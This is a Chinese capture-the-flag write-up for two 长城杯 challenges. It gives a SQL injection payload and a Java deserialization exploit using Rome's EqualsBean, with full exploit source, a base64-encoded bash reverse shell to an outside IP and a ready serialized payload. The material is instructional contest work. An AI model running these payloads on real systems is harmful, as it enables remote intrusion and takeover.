长城杯
djangogogo
知识星球之前讲的cve:https://www.wangan.com/p/7fy7f82605ea5797
直接一把嗦。payload:
name=month+from+`purchase_date`))+and+updatexml(1,(concat(1,(substr((select+flag+from+FLAG),16,32)))),1)--
b4bycoffee
泪目。学了大半年的java反序列化,现在终于考了。一看pom.xml,经典rome1.7。有黑名单:
public AntObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
this.list = new ArrayList<>();
this.list.add(BadAttributeValueExpException.class.getName());
this.list.add(ObjectBean.class.getName());
this.list.add(ToStringBean.class.getName());
this.list.add(TemplatesImpl.class.getName());
this.list.add(Runtime.class.getName());
}
二次反序列化用不了。然后发现有个类,感觉可以用:coffeeBean.class
package com.example.b4bycoffee.model;
import java.io.Serializable;
public class CoffeeBean extends ClassLoader implements Serializable {
private String name = "Coffee bean";
private byte[] ClassByte;
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public String toString() {
com.example.b4bycoffee.model.CoffeeBean coffeeBean = new com.example.b4bycoffee.model.CoffeeBean();
Class clazz = coffeeBean.defineClass((String)null, this.ClassByte, 0, this.ClassByte.length);
Object var3 = null;
try {
var3 = clazz.newInstance();
} catch (InstantiationException var5) {
var5.printStackTrace();
} catch (IllegalAccessException var6) {
var6.printStackTrace();
}
return "A cup of Coffee --";
}
}
一眼丁真,看到implements Serializable
直接肯定从这里下手。需要触发toString
方法,然后直接defineClass一把嗦。可惜BadAttributeValueExpException
被ban了。所以在rome数据包里面找一个类能触发toString
的。EqualsBean.class
里面有个beanHashCode
方法可以触发,然后这个方法通过hashCode
触发,明显直接塞HashMap
里面就行了。
public int hashCode() {
return beanHashCode();
}
||
\/
public int beanHashCode() {
return obj.toString().hashCode();
}
所以链子很简单:
HashMap.hashCode->EqualsBean.toString->CoffeeBean
贴个exp:
package com.example.b4bycoffee;
import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class Exp {
//hashmap->EqualsBean
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(String.valueOf(AbstractTranslet.class));
CtClass ctClass = pool.get(test.class.getName());
ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
String code = "{java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45Ni4xNzMuMTE2LzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");}";
ctClass.makeClassInitializer().insertAfter(code);
ctClass.setName("evil");
byte[] bytes = ctClass.toBytecode();
CoffeeBean coffeeBean = new CoffeeBean();
setField(coffeeBean, "ClassByte", bytes);
EqualsBean equalsBean = new EqualsBean(CoffeeBean.class, coffeeBean);
HashMap hashMap = makeMap(equalsBean, "value");
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashMap);
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// AntObjectInputStream aois = new AntObjectInputStream(bais);
// aois.readObject();
}
public static void setField(Object object, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field nameField = object.getClass().getDeclaredField(name);
nameField.setAccessible(true);
nameField.set(object, value);
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Exp.setField(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Exp.setField(s, "table", tbl);
return s;
}
}
至于怎么传参,可以参考今年爆的那个springboot cve jdk9+。然后该题只能整json。
{"venti":"rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IAJ2NvbS5yb21ldG9vbHMucm9tZS5mZWVkLmltcGwuRXF1YWxzQmVhbgAAAAAAAAABAgACTAAJYmVhbkNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAANvYmp0ABJMamF2YS9sYW5nL09iamVjdDt4cHZyACdjb20uZXhhbXBsZS5iNGJ5Y29mZmVlLm1vZGVsLkNvZmZlZUJlYW4Su0c/XbvvMwIAAlsACUNsYXNzQnl0ZXQAAltCTAAEbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwc3EAfgAGdXIAAltCrPMX+AYIVOACAAB4cAAAAqvK/rq+AAAANAAjCgADAA0HACEHAA8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAHUxjb20vZXhhbXBsZS9iNGJ5Y29mZmVlL3Rlc3Q7AQAKU291cmNlRmlsZQEACXRlc3QuamF2YQwABAAFAQAbY29tL2V4YW1wbGUvYjRieWNvZmZlZS90ZXN0AQAQamF2YS9sYW5nL09iamVjdAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHABAKABEADQEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABQBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAWABcKABUAGAEAYWJhc2ggLWMge2VjaG8sWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4ME55NDVOaTR4TnpNdU1URTJMekl6TXpNZ01ENG1NUT09fXx7YmFzZTY0LC1kfXx7YmFzaCwtaX0IABoBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAcAB0KABUAHgEADVN0YWNrTWFwVGFibGUBAARldmlsAQAGTGV2aWw7ACEAAgARAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ABKxAAAAAgAHAAAABgABAAAAAwAIAAAADAABAAAABQAJACIAAAAIABMABQABAAYAAAAkAAMAAgAAAA+nAAMBTLgAGRIbtgAfV7EAAAABACAAAAADAAEDAAEACwAAAAIADHQAC0NvZmZlZSBiZWFucQB+AAV0AAV2YWx1ZXEAfgAOeA=="}